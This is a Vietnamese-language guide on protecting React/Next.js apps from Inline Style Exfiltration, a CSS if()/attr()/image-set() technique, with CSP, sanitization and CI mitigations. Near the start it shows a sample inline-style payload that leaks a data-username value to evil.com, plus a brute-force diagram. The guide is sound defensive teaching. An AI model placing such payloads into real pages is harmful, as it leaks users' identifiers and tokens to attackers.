Cách Bảo Vệ Ứng Dụng React/Next.js Trước Tấn Công Inline Style Exfiltration (ISE)
Giới thiệu
Vào tháng 8 năm 2025, Gareth Heyes từ PortSwigger đã giới thiệu một vector tấn công mới có tên là Inline Style Exfiltration (ISE). Kẻ tấn công có thể lấy cắp giá trị thuộc tính từ DOM chỉ bằng cách sử dụng inline styles — không cần tới stylesheet bên ngoài hay selector.
⚠️ Tại thời điểm viết bài, kỹ thuật này hoạt động trên các trình duyệt dựa trên Chromium.
Cách thức hoạt động của tấn công ISE
Đột phá đến từ hàm CSS if(). Hàm này cho phép các nhà phát triển (và cả kẻ tấn công) viết các biểu thức điều kiện ngay trong CSS.
html
<div style='\n --val: attr(data-username);\n --steal: if(style(--val:"alice"): url(https://evil.com/alice);\n else: url(https://evil.com/bob));\n background: image-set(var(--steal));\n' data-username="bob">Test</div>
Phân tích mã
attr(data-username)trích xuất thuộc tính.if(style(--val:"alice") …)kiểm tra xem giá trị có khớp không.image-set()kích hoạt yêu cầu đến máy chủ của kẻ tấn công khi tìm thấy sự khớp.
Bằng cách kết hợp nhiều điều kiện if(), kẻ tấn công có thể brute-force các giá trị thuộc tính như data-uid hoặc data-username.
Tại sao ứng dụng React/Next.js lại dễ bị tấn công
React khiến việc truyền props trực tiếp vào thuộc tính style hoặc data-* trở nên dễ dàng. Khi kết hợp với ISE, điều này có thể rò rỉ ID người dùng, tên người dùng, hoặc thậm chí các token nếu chúng vô tình bị lộ trong các thuộc tính DOM.
Chiến lược giảm thiểu rủi ro
1. Không bao giờ ánh xạ đầu vào của người dùng vào style
❌ Sai:
html
<div style={{ backgroundImage: userInput }} />
✅ Đúng:
javascript
const bgToken = ALLOWED_BG[userChoice] ?? 'bg-default';
return <div className={bgToken} />;
Cho phép chỉ các đơn vị đã được whitelist (px, rem, %) và các định dạng màu sắc (#RRGGBB). Loại bỏ các hàm như url(), if(), attr(), image-set(), style().
2. Không lưu trữ bí mật trong data-*
Không bao giờ đặt ID, email, token, hoặc vai trò trong data-*. Giữ chúng trong trạng thái React, context, hoặc cookie HttpOnly.
3. Sử dụng CSP để chặn các kiểu inline
Thêm một Content-Security-Policy nghiêm ngặt. Phần quan trọng: không cho phép thuộc tính style="".
Content-Security-Policy:
plaintext
default-src 'self';
style-src 'self';
style-src-attr 'none';
style-src-elem 'self' 'nonce-<nonce>';
img-src 'self' https://cdn.example.com;
connect-src 'self';
base-uri 'none';
frame-ancestors 'none';
style-src-attr 'none'chặn các thuộc tính kiểu inline.- Lý tưởng nhất, bạn nên sử dụng
style-src-elem 'nonce-...'với nonces cho các thẻ<style>. - Trong Next.js, điều này có thể phức tạp vì framework tự động chèn các kiểu của riêng nó.
Các phương án thay thế thực tiễn:
- Bắt đầu với
style-src-elem 'self'. - Hoặc sử dụng hashes (
sha256-...) cho các kiểu inline quan trọng mà Next.js tạo ra.
👉 Xem tài liệu chính thức của Next.js về CSP
Trong Next.js
javascript
// next.config.js
const securityHeaders = [
{
key: 'Content-Security-Policy',
value: `
default-src 'self';
style-src 'self';
style-src-attr 'none';
style-src-elem 'self' 'nonce-__INLINE_STYLE_NONCE__';
img-src 'self' https://cdn.example.com;
connect-src 'self';
base-uri 'none';
frame-ancestors 'none';
`.replace(/\s{2,}/g, ' ')
}
];
module.exports = {
async headers() {
return [{ source: '/(.*)', headers: securityHeaders }];
}
};
4. Làm sạch HTML do người dùng tạo ra
Nếu bạn cho phép sử dụng Markdown hoặc trình soạn thảo WYSIWYG:
- Sử dụng DOMPurify/rehype-sanitize trên máy chủ.
- Cấm các thuộc tính
style(FORBID_ATTR: ['style']). - Nếu
stylephải được cho phép, thực thi một danh sách cho phép nghiêm ngặt (ví dụ: chỉcolor,font-size).
5. Kiểm tra & CI
- Quy tắc ESLint: cấm
dangerouslySetInnerHTMLvà chuỗi thô trongstyle. - Sử dụng grep/regex trong CI để tìm kiếm các hàm CSS đáng ngờ (
url(,if(,attr(,image-set(). - Đảm bảo không có thuộc tính
data-*nhạy cảm trong JSX.
6. Thiết kế thành phần
Expose enums hoặc theme tokens như props, không bao giờ sử dụng CSS thô.
❌ Thay vì:
javascript
<Button color={userInput} />
✅ Nên:
javascript
<Button variant={userChoice === "danger" ? "danger" : "primary"} />
7. Giám sát
ISE thường brute-force các thuộc tính bằng cách thực hiện hàng chục yêu cầu nhỏ (/1, /2, /3).
- Sử dụng CSP
report-to/report-uriđể phát hiện các vi phạm. - Cảnh báo về các yêu cầu đáng ngờ trong CDN hoặc nhật ký của bạn.
Danh sách kiểm tra rà soát
- Không có
unsafe-inlinetrong CSP. style-src-attr 'none'đã được kích hoạt.style-src-elemđược giới hạn (self, nonces, hoặc hashes).img-srcvàconnect-srcđược giới hạn ở các miền tin cậy. Điều này không chỉ ngăn chặn rò rỉ ISE mà còn cả việc rò rỉ dữ liệu cổ điển thông qua<img src>hoặc fetch.- Không ánh xạ đầu vào thô vào
stylehoặc các biến CSS. - Dữ liệu nhạy cảm không nằm trong
data-*. - Các bộ lọc làm sạch loại bỏ hoặc hạn chế
style. - Các quy tắc lint thực thi các mẫu an toàn.
- Nội dung do người dùng tạo ra được hiển thị trong các miền sandbox/isolated.
Sơ đồ: Cách data-uid bị rò rỉ qua ISE
plaintext
Trình duyệt của nạn nhân:
<div data-uid="5">
Các điều kiện CSS inline:
if(data-uid="1") → /1
...
if(data-uid="5") → /5
Máy chủ của kẻ tấn công:
Ghi lại yêu cầu /5
Để rõ ràng, sơ đồ được đơn giản hóa. ISE thực sự sử dụng các điều kiện kiểu inline (if(), style()).
Kết luận
CSS không còn chỉ là “declarative.” Với if(), giờ đây nó hỗ trợ logic điều kiện — và những rủi ro mới.
Đối với các ứng dụng Next.js, công thức rất đơn giản:
- không có kiểu inline từ dữ liệu
- CSP nghiêm ngặt với
style-src-attr 'none' - làm sạch một cách mạnh mẽ
- thiết kế các thành phần dựa trên tokens, không phải CSS thô
Tài liệu tham khảo
- Gareth Heyes — Inline Style Exfiltration: rò rỉ dữ liệu với các điều kiện CSS liên kết (PortSwigger, 2025)
- MDN: CSS
if() - Content Security Policy Level 3 (W3C)
- Tài liệu Next.js: Content Security Policy